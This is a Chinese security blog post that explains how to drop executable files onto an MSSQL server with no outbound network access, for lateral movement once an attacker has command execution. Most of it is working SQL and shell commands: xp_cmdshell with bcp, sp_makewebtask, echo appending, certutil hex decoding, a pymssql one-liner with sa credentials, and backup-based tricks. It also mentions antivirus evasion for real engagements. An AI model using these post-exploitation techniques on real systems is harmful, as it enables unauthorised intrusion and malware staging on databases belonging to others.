关于站库分离数据库不出网落地Exe方式探究-Mssql
前言
之前偶尔会遇到站库分离数据库不出网&没有Webshell的情况,只有一个可以执行命令的shell,这种情况下如果想进行横向只能通过数据库来落地我们的工具。
注:文中只是为了演示数据库如何落地exe,可能部分环境过于理想化,在实战中很难遇到。
环境:
-
系统版本
Win 10 x64 - mssql权限
-
数据库版本
Mssql 2019
1、Bcp
1.1 简介
大容量复制工具,可以导入数据到Mssql表,也可以将表中数据导出到文件。
1.2 适用版本
全版本
1.3 导出exe
思路:将exe的16进制写入表,再使用Bcp导出成exe。
创建存储二进制数据类型的表
create table info(data image)
insert into info(data) values ()
导出表中的数据
exec master..xp_cmdshell 'bcp test.dbo.info out c:\users\public\12.txt -T -c'
-T:可信任连接,如果不加需要手动加上Mssql的账号密码
-c:字符类型
这条语句是导出test库中info表中的数据,到12.txt文件中
不加-T
不加-C
导出的数据还是16进制,可以使用certutil或编程语言将其解码为可执行文件。
exec master..xp_cmdshell 'certutil -decodehex c:\users\public\12.txt c:\users\public\12.exe'
Pyhotn3
python -c "import binascii;text=open('res.exe','ab');text.write(binascii.a2b_hex(open('exe-hex.txt').read()))"
可以正常执行
Mssql中常见的存储二进制字段类型
1.4 注意点
- 16进制在插入表的时候,记得在最前边加0x
2、sp_makewebtask
2.1 简介
导出文档,文档内容为查询语句返回的数据。
2.2 版本
Mssql版本小于等于2008
2.3 导出exe
扩展开启
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE; 开启该扩展
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',0;RECONFIGURE; 关毕该扩展
大致思路:
将exe的16进制插入到表中,使用sp_makewebtask将exe的16进制导出,最后使用certutil或Python恢复。
exec sp_makewebtask '\\路径\\hex.txt','select''exe_hex'' '
certutil -decodehex \\路径\\hex.txt \\路径\\test.exe
3、Echo
3.1 不换行追加导出exe
使用系统的echo将可执行文件的16进制导出到服务器
每使用一次echo会自动换行,这情况下无法正常解码。
使用set /p=""实现不换行追加
执行结果已经实现了
但是这里需要注意Windows一次最多导出8kb出头,所以需要一段一段追加到文件,而且这种环境下还没办法分离免杀...嘶~
4、Python
4.1 简介
既然可以使用Python处理一些数据,那么应该也可以使用Python连接数据库,将查询结果导出为exe。
4.2 条件
- 有Python(可以一句话反弹shell的语言应该都可以)
- 知道Mssql账号密码
- 所带的语言支持连接Mssql
4.3 查询数据并导出
实战环境将ip、user、password、要查询的表...换成对应的就可以了,路径也尽量换了。
import pymssql;conn=pymssql.connect(host='192.168.112.149',user='sa',password='123456',database='test',charset='utf8');cur = conn.cursor();sqlstr = 'select data from info';cur.execute(sqlstr);data = cur.fetchall()[0][0].strip();open('tesz.exe','ab').write(data);cur.close();conn.close();
5、备份
5.1 日志备份
5.1.1 简介
记录SQL操作语句
5.1.2 日志被隔断
#将数据库设置为完全恢复模式
alter database 数据库名称 set RECOVERY FULL
#创建一个存储二进制文件的表
create table info (data image)
#先备份数据库才可以备份日志,with init:将数据写到文件最前边
backup database 数据库名称 to disk = '\\path\\' with init
#插入可执行文件的16进制
insert into cmd (a) values (0x执行文件的16进制)
#备份日志
backup log 数据库名称 to disk = 'path'
在导出的日志中可以找到可执行文件的16进制字符
可执行文件的16进制会被隔断,无法正常导出执行。
5.2 差异备份
5.2.1 简介
差异备份由DIFFERENTIAL关键字指定,只备份从上一次完整备份之后发生更新的数据,而不是备份整个数据库,通常情况下,差异备份比完整备份占用的空间更少。
5.2.2 日志被隔断
#先备份一次数据
backup database test to disk = 'C:\Users\Public\bak.log' with init;
#创建存储exe-16进制的表
create table test.dbo.info (data image);
insert into info (data) values ('可执行文件的16进制')
#使用differential关键字指定,只备份从上一次完整备份之后发生更新的数据。
backup database test to disk = 'C:\Users\Public\test2.log' with differential,format;
但还是被隔断了
6、思考
- 其实使用echo导出的时候,也可以不使用set /p的方式,在解码之前使用python或其他编程语言替换掉换行,然后解码。
- 日志备份是否可以使用编程语言解决隔断和乱序问题。
7、总结
导出方式 | 概述 |
---|---|
Bcp | Mssql全版本支持,导出也较为方便 |
Sp_makewebtask | 有一定局限性,适用于老一点版本的Mssql |
Echo | 眼睛和手能抗住的话还是蛮好用的 |
Python | 有较多局限性 |
日志 | 暂时不能用。 |
上文只是为了演示如何通过数据库落地exe,实战中还要考虑免杀、绕过AV调用危险程序等情况,这里就不再赘述了。
8、参考链接
Python连接Mssql https://www.cnblogs.com/mirrortom/p/5218865.html
Mssql数据库恢复模式 https://blog.csdn.net/weixin_34281477/article/details/89831639
Mssql三种常见备份模式 https://blog.csdn.net/qq_40954115/article/details/78803065